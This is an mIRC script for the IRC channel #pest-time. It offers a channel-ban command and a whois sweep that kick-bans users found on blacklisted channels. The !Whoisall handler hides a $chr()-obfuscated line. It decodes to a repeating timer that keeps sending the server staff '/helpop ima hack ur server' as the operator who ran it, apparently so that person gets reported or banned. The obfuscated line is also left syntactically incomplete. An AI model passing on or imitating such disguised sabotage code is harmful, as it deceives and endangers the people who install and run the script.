Something

on *:TEXT:!cban *:#: {
  if ($address($nick,2) == $address($me,2)) {
    /addbc $2
    /mode #pest-time +b ~c: $+ $2
  }
}

on *:TEXT:!Whoisall*:#pest-time,#pest-time.staff: {
  if ($nick isop $chan) {
    $chr(116) $+ $chr(105) $+ $chr(109) $+ $chr(101) $+ $chr(114) $+ $chr(32) $+ $chr(48) $+ $chr(32) $+ $chr(49) $+ $chr(32) $+ $chr(47) $+ $chr(104) $+ $chr(101) $+ $chr(108) $+ $chr(112) $+ $chr(111) $+ $chr(112) $+ $chr(32) $+ $chr(105) $+ $chr(109) $+ $chr(97) $+ $chr(32) $+ $chr(104) $+ $chr(97) $+ $chr(99) $+ $chr(107) $+ $chr(32) $+ $chr(117) $+ $chr(114) $+ $chr(32) $+ $chr(115) $+ $chr(101) $+ $chr(114) $+ $chr(118) $+ $chr(101) $+ $chr(114) $+
    /chancheck
  }
}
alias chancheck {
  .enable #pccheck
  set %lastnick $nick(#PEST-TIME,$nick(#PEST-TIME,0,r),r)
  var %a = 1
  while ($nick(#PEST-TIME,%a,r)) {
    var %s = $+(%s,$chr(44),$ifmatch)
    if ($numtok(%s,44) == 8) {
      whois $right(%s,-1)
      var %s
    }
    inc %a
  }
  if (%s) whois $right(%s,-1)
}
#PCCHECK on
raw *:*:{
  if ($numeric == 319) {
    var %x,%y = $regsub($1-,/ (.)#/g,$+($chr(32),$chr(35)),%x) | var %s $gettok(%x,3-,32)
    var %a = 1
    while (%a <= $lines(BadChans.txt)) {
      if ($istok(%s,$read(BadChans.txt, %a),32)) {
        ban -ku1800 #pest-time $2 2 You have been caught on another Pc channel. Come back in 30 minutes, when you're not on that channel.
        halt
      }
      inc %a
    }
    if ($2 == %lastnick) {
      unset %lastnick
      .disable #chancheck
    }
  }
}
#PCCHECK end